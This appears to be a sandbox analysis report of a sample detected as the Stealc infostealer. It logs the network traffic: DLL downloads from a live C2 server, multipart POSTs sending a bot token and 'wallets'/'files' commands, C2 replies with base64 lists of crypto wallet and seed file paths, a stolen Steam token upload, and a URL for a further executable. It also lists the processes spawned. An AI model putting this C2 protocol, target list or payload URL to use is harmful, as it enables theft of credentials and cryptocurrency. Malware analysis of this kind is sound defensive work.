Oct 7, 2024 03:03:08.849406004 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 03:03:09.491795063 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 03:03:09.668307066 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 03:03:10.063479900 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 03:03:10.242423058 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 03:03:10.631489038 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 03:03:10.807899952 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 03:03:12.347547054 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 03:03:12.524964094 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 03:03:12.727430105 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 03:03:12.904112101 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 03:03:13.179460049 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGI Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:03:13.521836996 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:13.551059961 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="message"wallets------AFHDAKJKFCFBGCBGDHCB--
Oct 7, 2024 03:03:13.734272003 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 7, 2024 03:03:13.737926960 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEB Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"files------IIIEBGCBGIDHDGCAKJEB--
Oct 7, 2024 03:03:13.920855045 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:13.928570032 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="file"------HCFIIIJJKJKFHIDGDBAK--
Oct 7, 2024 03:03:14.139838934 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:14.141887903 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJE Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="message"ybncbhylepme------IEHCBAFIDAECBGCBFHJE--
Oct 7, 2024 03:03:14.356201887 CEST	306	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 80 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 62 57 46 73 64 79 35 6c 63 32 46 73 5a 58 4e 70 62 69 35 6a 62 32 30 76 62 47 52 74 63 79 39 68 4e 44 4d 30 4f 44 59 78 4d 6a 67 7a 4e 44 63 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovbWFsdy5lc2FsZXNpbi5jb20vbGRtcy9hNDM0ODYxMjgzNDcuZXhlfDB8MHxTdGFydHw0fA==
Oct 7, 2024 03:03:14.448951960 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEBKECAFIDAFIECBKEHD--

Target ID:	0
Start time:	21:03:02
Start date:	06/10/2024
Path:	C:\Users\user\Desktop\CR0QGWXdDl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CR0QGWXdDl.exe"
Imagebase:	0x720000
File size:	514'936 bytes
MD5 hash:	AB315F59C8C2658C5D87E8125ADC2678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:03:02
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x570000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:03:02
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
